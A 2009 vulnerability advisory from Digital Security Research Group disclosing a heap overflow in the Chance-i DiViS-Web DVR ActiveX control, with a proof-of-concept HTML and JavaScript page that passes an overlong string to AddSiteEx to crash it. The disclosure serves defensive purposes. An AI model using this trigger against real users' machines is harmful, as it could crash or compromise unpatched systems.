[DSECRG-09-035] Chance-i DiViS DVR ActiveX - Heap Overflow

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-035

original advisory: http://dsecrg.com/pages/vul/DSECRG-09-035.html

Application: Chance-i DiViS-Web DVR System ActiveX control
Versions Affected: 3,0,0,7
Vendor URL: http://www.chance-i.com/
Bug: Heap Overflow
Exploits: YES
Reported: 13.03.2009
Second Reported: 20.03.2009
Solution: NONE
Date of Public Advisory: 09.04.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description

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DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.

Details

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Heap overflow vulnerability found in AddSiteEx() function.

There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of
the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit
to take advantage of this vulnerability.

The problem arises by passing an overly long string to the AddSiteEx
method of the control.

PoC:

<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="18203">
<PARAM NAME="_ExtentY" VALUE="13705">
<PARAM NAME="_StockProps" VALUE="0">
<PARAM NAME="Split" VALUE="4">
</OBJECT>

//server address
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;

// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;

var long_buff = "alexsint";

while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

DVR.Channels = 1;    

DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll

Solution

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We did not get any response from vendor for more than 2 weeks.
No patches aviable.

About

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Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS
standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports,
advisories and whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru

Regards,
Digital Security Research Group [DSecRG]

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